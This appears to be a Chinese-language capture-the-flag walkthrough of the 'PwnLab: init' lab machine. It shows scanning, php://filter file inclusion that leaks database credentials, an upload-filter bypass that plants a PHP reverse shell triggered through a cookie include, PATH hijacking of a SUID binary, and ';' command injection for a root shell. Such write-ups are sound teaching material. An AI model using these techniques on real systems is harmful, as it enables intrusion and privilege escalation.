PwnLab: init Walkthrough

Box Info

官网在这里:PwnLab: init

image-20250416214806073

The Hack

确定存活的主机

nmap -sP 192.168.186.0/24

image-20250416202642869

对目标 IP 进行端口发现

nmap -p- 192.168.186.154

发现开放 80,111,3306,39907 端口

image-20250416202723984

对开放的端口进行应用版本发现

nmap -p 80,111,3306,39907 -sC -sV 192.168.186.154

80 端口开放 http 服务,111 端口开放 rpcbind 服务且开放 39907/tcp 服务 status ,3306 端口开放 mysql

image-20250416202902802

先来看 80 端口,进行目录扫描

dirsearch -u http://192.168.186.154/ 

发现 config.php 但是内容为 0 ,没有权限访问,同时发现 images、upload、login 页面

image-20250416203724302

发现 login 页面 url 为 http://192.168.186.154/?page=login

image-20250416203940398

尝试路径遍历 ../../../../../etc/passwd ,可惜失败了

image-20250416204104178

有 MySQL 注入吗?也没有

image-20250416204151714

结合空白的 config.php ,看看能否 filter 协议读取文件,config.php 返回的是空白的,结合 upload 的 url 路径,尝试读取 config

http://192.168.186.154/?page=php://filter/convert.base64-encode/resource=config

获得加密后的 config.php

image-20250416204540747

解密后为:

<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

尝试登陆 login 页面,但是失败,尝试登陆 MySQL

mysql -uroot -p -h 192.168.186.154 --skip-ssl

在 User 数据库 users 数据表中发现三位用户加密后的密码

image-20250416204948681

解密后为

+------+------------------+
| user | pass |
+------+------------------+
| kent | JWzXuBJJNy |
| mike | SIfdsTEn6I |
| kane | iSv5Ym2GRo |
+------+------------------+

尝试登陆 /login 界面,kent 的账号密码就登陆成功了,直接上传 php 文件失败了,那就来看看 upload 的源代码

http://192.168.186.154/?page=php://filter/convert.base64-encode/resource=upload

解密后为

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
<body>
<form action='' method='post' enctype='multipart/form-data'>
<input type='file' name='file' id='file' />
<input type='submit' name='submit' value='Upload'/>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])) {
if ($_FILES['file']['error'] <= 0) {
$filename = $_FILES['file']['name'];
$filetype = $_FILES['file']['type'];
$uploaddir = 'upload/';
$file_ext = strrchr($filename, '.');
$imageinfo = getimagesize($_FILES['file']['tmp_name']);
$whitelist = array(".jpg",".jpeg",".gif",".png");

if (!(in_array($file_ext, $whitelist))) {
die('Not allowed extension, please upload images only.');
}

if(strpos($filetype,'image') === false) {
die('Error 001');
}

if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
die('Error 002');
}

if(substr_count($filetype, '/')>1){
die('Error 003');
}

$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
echo "<img src=\"".$uploadfile."\"><br />";
} else {
die('Error 4');
}
}
}

?>

发现既有文件后缀白名单检测,又有 MIME 类型和文件头检测,还是比较难绕过的,那就来看看其他页面有什么线索

在 home 页面发现 Cookie 的 include 文件包含,那就不需要 php 后缀也可以执行命令了

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{
echo "Use this server to upload and share image files inside the intranet";
}
?>
</center>
</body>
</html>

将自带的 php-reverse-shell 更改 ip 、port 后上传,使用 burp 拦截,更改文件头、后缀和 Content-Type

image-20250416210152454

成功上传

image-20250416210233772

将 Cookie 更改为 lang=../upload/3208fd203ca8fdfa13bc98a4832c1396.gif,本机开启 nc 监听 4444 端口,发送请求

成功接收到弹回来的 shell

image-20250416210657458

并将其升级为 TTY shell

python -c "import pty;pty.spawn('/bin/bash')"

发现登陆的用户和 MySQL 数据库中的用户一致

image-20250416210803850

那是否存在密码复用?最终只有 kane 和 kent 成功登陆,且 kent 主目录并没有泄露有效信息

image-20250416211147373

在 kane 主目录发现具有 mike suid 权限的可执行文件 msgmike ,执行后发现是执行了 cat /home/mike/msg.txt 命令

image-20250416211504978image-20250416211856661

既然具有 mike 的 suid 权限,那就说明该文件是以 mike 身份运行的

使用路径劫持,将 cat 命令的内容更改为 /bin/bash ,执行 cat /home/mike/msg.txt 命令就相当于以 mike 身份执行 /bin/bash ,就能获得 mike 身份的 shell

先切换至可写目录 /tmp,创建 cat 文件,将 /bin/bash 写入 cat 同时赋予 cat 所有用户可执行权限

kane@pwnlab:~$ cd /tmp
kane@pwnlab:/tmp$ touch cat
kane@pwnlab:/tmp$ echo "/bin/bash" > cat
kane@pwnlab:/tmp$ chmod 777 cat

将 /tmp 路径放到 $PATH 最前面

kane@pwnlab:/tmp$ export PATH=/tmp:$PATH
kane@pwnlab:/tmp$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

执行 msgmike 获得 mike 身份

image-20250416212926693

将环境变量复原

mike@pwnlab:/home/mike$ export PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
<ort PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
mike@pwnlab:/home/mike$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

在 mike 主目录发现具有 root suid 权限的可执行文件 msg2root ,发现执行 /bin/echo %s >> /root/messages.txt 命令

image-20250416213853173

使用 ; 截断并执行新的命令,成功执行 id 命令

image-20250416214030682

输入 id;/bin/sh 获得 root 身份的 shell,成功提权

image-20250416214455122

获得 flag

image-20250416214420126